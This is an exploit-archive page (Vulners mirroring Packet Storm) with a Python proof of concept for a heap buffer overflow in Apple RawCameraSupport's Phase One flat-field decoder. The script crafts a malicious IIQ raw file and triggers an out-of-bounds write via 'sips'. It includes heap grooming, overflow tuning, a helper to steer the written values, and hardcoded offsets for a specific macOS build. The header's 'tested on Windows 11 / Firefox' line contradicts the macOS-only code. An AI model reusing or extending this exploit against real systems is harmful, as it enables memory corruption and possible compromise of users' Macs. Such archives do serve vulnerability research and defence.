Lucene search
+L

Apple RawCameraSupport 9420 Heap Buffer Overflow

🗓️ 03 Nov 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 13 Views

Heap buffer overflow in Apple RawCameraSupport Phase One flat-field correction.

Code
==================================================================================================================================
| # Title     : Apple RawCameraSupport 9420 Heap Buffer Overflow Phase One Flat-Field                                            |
| # Author    : indoushka                                                                                                        |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 159.0 (64 bits)                                                   |
| # Vendor    : https://www.apple.com/fr/                                                                                        |
==================================================================================================================================

[+] Summary : Apple RawCamera heap buffer overflow in the Phase One flat-field correction (CPhaseOneCompressedUnpacker).

[+] POC    : 

#!/usr/bin/env python3

import argparse, base64, gzip, json, os, re, struct, subprocess, sys, tempfile, time

TARGET_MACOS      = "26.6.2 (25G83)"
TARGET_BUNDLE_VER = ("9420", "1756.120.4")
RAW_BASE          = 0x1C7563000     
TEXT_FILE_ADDR    = 0x1B7E67000     
LEFT_LOOP_OFF     = 0x1B7F8FC44     
LEFT_WRITE_OFF    = 0x1B7F8FC68    
RIGHT_GUARD_OFF   = 0x1B7F8FC84      
FUNC_OFF          = 0x1B7F8F9DC      
CTX_FLATFIELD_OFF = 256             
CTX_TABLE_OFF     = 264             
CTX_TABLE_END_OFF = 272             
CTX_ACTIVE_L_OFF  = 52             
TAG_FLATFIELD = 546
TAG_CORRTABLE = 547
TIFF_CAPTURE  = 0xC61A              

DEFAULT_W, DEFAULT_H = 64, 8
DEFAULT_FF  = 100000                
DEFAULT_CV  = 100                    
DEFAULT_ACTIVE_LEFT = 148
DEFAULT_BUFFER = 212_024_128         

def le16(x): return struct.pack('<H', x & 0xFFFF)
def le32(x): return struct.pack('<I', x & 0xFFFFFFFF)
def le64(x): return struct.pack('<Q', x & 0xFFFFFFFFFFFFFFFF)
def build_bitstream(w, h):
    """All-zero bitstream: Huffman length table maps 0x00 to 'read 16 raw
    bits', whose result cannot exceed decoder validity limit -> row decode
    completes and correction block is reached."""
    return b'\x00' * (w * h * 4 + 4096)

def build_corr_table(h, value):
    """Tag 547: need > 2*row+1 entries; every row indexes a different slot
    (v31 = row << (flatField != 0))."""
    n = 2 * h + 16
    return b''.join(le16(value) for _ in range(n)), n

def build_capture_info(flatfield, table_count, corr_table):
    """Simplified capture-info layout:
       u32 flatField | u32 table_count | u16 table[table_count]
       (real layout varies per Phase One camera; see notes)."""
    return le32(flatfield) + le32(table_count) + corr_table

def build_ifd(entries, next_ifd=0):
    out = le16(len(entries))
    for tag, typ, count, value in entries:
        out += le16(tag) + le16(typ) + le32(count) + le32(value)
    out += le32(next_ifd)
    return out

def build_iiq(path, w=DEFAULT_W, h=DEFAULT_H, flatfield=DEFAULT_FF,
              corr_value=DEFAULT_CV, active_left=DEFAULT_ACTIVE_LEFT):
    bitstream = build_bitstream(w, h)
    corr_table, table_n = build_corr_table(h, corr_value)
    capture   = build_capture_info(flatfield, table_n, corr_table)

    ifd_size = 2 + 7 * 12 + 4
    data_off = 8 + ifd_size
    bitstream_off = data_off
    capture_off   = bitstream_off + len(bitstream)

    entries = [
        (0x0100, 4, 1, w),                       
        (0x0101, 4, 1, h),                      
        (0x0102, 3, 1, 16),                    
        (0x0103, 3, 1, 99),                    
        (0x0111, 4, 1, bitstream_off),         
        (0x0117, 4, 1, len(bitstream)),     
        (TIFF_CAPTURE, 7, len(capture), capture_off), 
    ]
    ifd = build_ifd(entries)
    header = b'II' + le16(42) + le32(8)        
    blob = header + ifd + bitstream + capture

    with open(path, 'wb') as f:
        f.write(blob)

    count = active_left + flatfield
    print(f"[+] built {path}  ({len(blob)} bytes)")
    print(f"    W={w} H={h} activeLeft={active_left} flatField={flatfield} "
          f"corrValue={corr_value}")
    print(f"    count = activeLeft + flatField = {count}  (row width = {w})")
    print(f"    overflow per row = {max(0, count - w)} elements "
          f"({max(0, count - w) * 2} bytes)")
    return path
def tune(w=DEFAULT_W, h=DEFAULT_H, buffer_bytes=DEFAULT_BUFFER,
         active_left=DEFAULT_ACTIVE_LEFT, target_extra=None):
    """Compute overflow math. target_extra = desired bytes past last row end
    (None = report only)."""
    row_bytes = w * 2
    rows = buffer_bytes // row_bytes
    margin = buffer_bytes - rows * row_bytes
    print(f"[*] row_bytes={row_bytes}  rows_in_buffer={rows}  "
          f"tail_margin={margin}B  buffer={buffer_bytes}B")
    if target_extra is None:
        for ff in (100, 1000, 5000, 10000, 50000, 100000):
            count = active_left + ff
            over = max(0, count - w) * 2
            status = "OK (inside)" if over <= margin else "OOB -> SIGBUS"
            print(f"    flatField={ff:8d} count={count:8d} "
                  f"over_last_row={over:8d}B  {status}")
        return None
    # desired: over_last_row == target_extra
    count = w + (target_extra // 2)
    ff = count - active_left
    print(f"[+] target_extra={target_extra}B -> flatField={ff} count={count}")
    return ff
_BENIGN_PNG = base64.b64decode(
    b'iVBORw0KGgoAAAANSUhEUgAAAQAAAAEAAQMAAABmvDolAAAAA1BMVEX///+nxBvIAAAA'
    b'C0lEQVR4nGNgYAAAAAMAASsJTYQAAAAASUVORK5CYII=')

def groom(iters=64, poc=None):
    tmp = tempfile.mkdtemp(prefix="rc_groom_")
    benign = os.path.join(tmp, "g.png")
    with open(benign, 'wb') as f:
        f.write(_BENIGN_PNG)
    print(f"[*] grooming heap with {iters} benign opens ...")
    for _ in range(iters):
        subprocess.run(['sips', '-s', 'format', 'png', benign,
                        '--out', os.path.join(tmp, '_g.png')],
                       stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
    print("[+] grooming done")
    if poc:
        run(poc)
def run(poc):
    out = "/tmp/phaseone_out.png"
    print(f"[*] sips -s format png {poc} --out {out}")
    t0 = time.time()
    r = subprocess.run(['sips', '-s', 'format', 'png', poc, '--out', out],
                       capture_output=True)
    dt = time.time() - t0
    print(f"[*] exit={r.returncode}  ({dt:.2f}s)")
    if r.returncode == -10 or r.returncode == 138 or r.returncode == 10:
        print("[!] SIGBUS — OOB write hit read-only page (expected for PoC)")
    elif r.returncode == 0:
        print("[+] decoded cleanly (control or fixed build)")
    if r.stderr:
        sys.stderr.write(r.stderr.decode('utf-8', 'replace')[:500])
    return r.returncode
def _load_ips(path):
    with open(path) as f:
        txt = f.read()
    nl = txt.index('\n')
    return json.loads(txt[nl+1:])

def crash(ips_path=None):
    if not ips_path:
        d = os.path.expanduser("~/Library/Logs/DiagnosticReports")
        cands = sorted((os.path.join(d, f) for f in os.listdir(d)
                        if f.endswith(".ips")), key=os.path.getmtime,
                       reverse=True)
        if not cands:
            print("[-] no .ips crash reports found"); return
        ips_path = cands[0]
    print(f"[*] parsing {ips_path}")
    d = _load_ips(ips_path)
    exc = d.get('exception', {})
    term = d.get('termination', {})
    print("exception:", exc.get('type'), exc.get('subtype'))
    print("termination:", term.get('reasons'))
    print("codes:", exc.get('codes'))
    imgs = d.get('usedImages', [])
    for t in d.get('threads', []):
        if not t.get('triggered'):
            continue
        print(f"\n[triggered thread {t.get('id')} "
              f"queue={t.get('queue','?')}]")
        for fr in t.get('frames', [])[:12]:
            ii = fr.get('imageIndex', -1)
            name = imgs[ii].get('name', '?') if 0 <= ii < len(imgs) else '?'
            off = fr.get('imageOffset', 0)
            mark = ""
            if name == "RawCamera" and off in (LEFT_WRITE_OFF - TEXT_FILE_ADDR + RAW_BASE - RAW_BASE,):
                mark = " <-- OOB write"
            # absolute = base + (off) ; compare to known
            abs_addr = (imgs[ii].get('base', 0) + off) if 0 <= ii < len(imgs) else 0
            if name == "RawCamera" and abs_addr == RAW_BASE + (LEFT_WRITE_OFF - TEXT_FILE_ADDR):
                mark = " <-- left-segment OOB write"
            print(f"  {name:22s} +{off:#x}  abs={abs_addr:#x}{mark}"
                  f"  {fr.get('symbol','')}")
def info():
    print(f"[*] target macOS: {TARGET_MACOS}")
    print(f"[*] target bundle: {TARGET_BUNDLE_VER}")
    try:
        v = subprocess.run(['sw_vers'], capture_output=True, text=True)
        print(v.stdout.strip())
    except Exception as e:
        print("sw_vers:", e)
    bundle = ("/System/Library/PrivateFrameworks/RawCameraSupport.framework/"
              "Resources/RawCameraSupport.bundle/Info.plist")
    for key in ("CFBundleShortVersionString", "CFBundleVersion"):
        try:
            r = subprocess.run(['/usr/libexec/PlistBuddy', '-c',
                                f'Print :{key}', bundle],
                               capture_output=True, text=True)
            print(f"  {key} = {r.stdout.strip() or r.stderr.strip()}")
        except Exception as e:
            print(f"  {key}: {e}")
    print(f"[*] left loop @ {LEFT_LOOP_OFF:#x}  write @ {LEFT_WRITE_OFF:#x}  "
          f"right guard @ {RIGHT_GUARD_OFF:#x}")
    print(f"[*] ctx offsets: flatField=+{CTX_FLATFIELD_OFF} "
          f"table=+{CTX_TABLE_OFF} table_end=+{CTX_TABLE_END_OFF} "
          f"activeLeft=+{CTX_ACTIVE_L_OFF}")
def steer16(original, target):
    """Write is additive + saturated at 0xFFFF, so:
         final = min(0xFFFF, original + v35)  if original+v35 >= 1
       To hit `target` from `original` with int16 v35:
         v35 = (target - original) & 0xFFFF  interpreted as int16
       (works when no saturation; else choose target=0xFFFF)."""
    v35 = (target - original) & 0xFFFF
    signed = v35 - 0x10000 if v35 >= 0x8000 else v35
    print(f"[*] original=0x{original:04x} target=0x{target:04x} "
          f"-> v35=0x{v35:04x} (int16 {signed})")
    return signed
def all_(w, h, ff, cv):
    work = tempfile.mkdtemp(prefix="rc_exploit_")
    poc  = os.path.join(work, "poc.iiq")
    print("=" * 70)
    print("[1/5] environment check"); info()
    print("=" * 70)
    print("[2/5] build malicious IIQ"); build_iiq(poc, w, h, ff, cv)
    print("=" * 70)
    print("[3/5] tune math (dry-run)")
    tune(w=w, h=h, target_extra=None)
    print("=" * 70)
    print("[4/5] trigger via sips")
    rc = run(poc)
    print("=" * 70)
    print("[5/5] crash analysis")
    try:
        crash()
    except Exception as e:
        print("crash parse:", e)
    return rc
def main(argv=None):
    ap = argparse.ArgumentParser(
        description="Apple RawCamera Phase One flat-field OOB write PoC")
    sub = ap.add_subparsers(dest="cmd", required=True)

    p = sub.add_parser("build")
    p.add_argument("--w", type=int, default=DEFAULT_W)
    p.add_argument("--h", type=int, default=DEFAULT_H)
    p.add_argument("--ff", type=int, default=DEFAULT_FF)
    p.add_argument("--cv", type=int, default=DEFAULT_CV)
    p.add_argument("--out", default="phaseone_flatfield_oob.iiq")
    p = sub.add_parser("tune")
    p.add_argument("--w", type=int, default=DEFAULT_W)
    p.add_argument("--h", type=int, default=DEFAULT_H)
    p.add_argument("--buf", type=int, default=DEFAULT_BUFFER)
    p.add_argument("--extra", type=int, default=None)
    p = sub.add_parser("groom")
    p.add_argument("--iters", type=int, default=64)
    p.add_argument("--poc", default=None)
    p = sub.add_parser("run")
    p.add_argument("--poc", default="phaseone_flatfield_oob.iiq")
    p = sub.add_parser("crash")
    p.add_argument("--ips", default=None)
    sub.add_parser("info")
    p = sub.add_parser("all")
    p.add_argument("--w", type=int, default=DEFAULT_W)
    p.add_argument("--h", type=int, default=DEFAULT_H)
    p.add_argument("--ff", type=int, default=DEFAULT_FF)
    p.add_argument("--cv", type=int, default=DEFAULT_CV)
    p = sub.add_parser("steer")
    p.add_argument("orig", type=lambda s: int(s, 0))
    p.add_argument("target", type=lambda s: int(s, 0))
    a = ap.parse_args(argv)
    if a.cmd == "build":  build_iiq(a.out, a.w, a.h, a.ff, a.cv)
    elif a.cmd == "tune": tune(a.w, a.h, a.buf, target_extra=a.extra)
    elif a.cmd == "groom":groom(a.iters, a.poc)
    elif a.cmd == "run":  run(a.poc)
    elif a.cmd == "crash":crash(a.ips)
    elif a.cmd == "info": info()
    elif a.cmd == "all":  all_(a.w, a.h, a.ff, a.cv)
    elif a.cmd == "steer":steer16(a.orig, a.target)

if __name__ == "__main__":
    main()
	
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Nov 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
13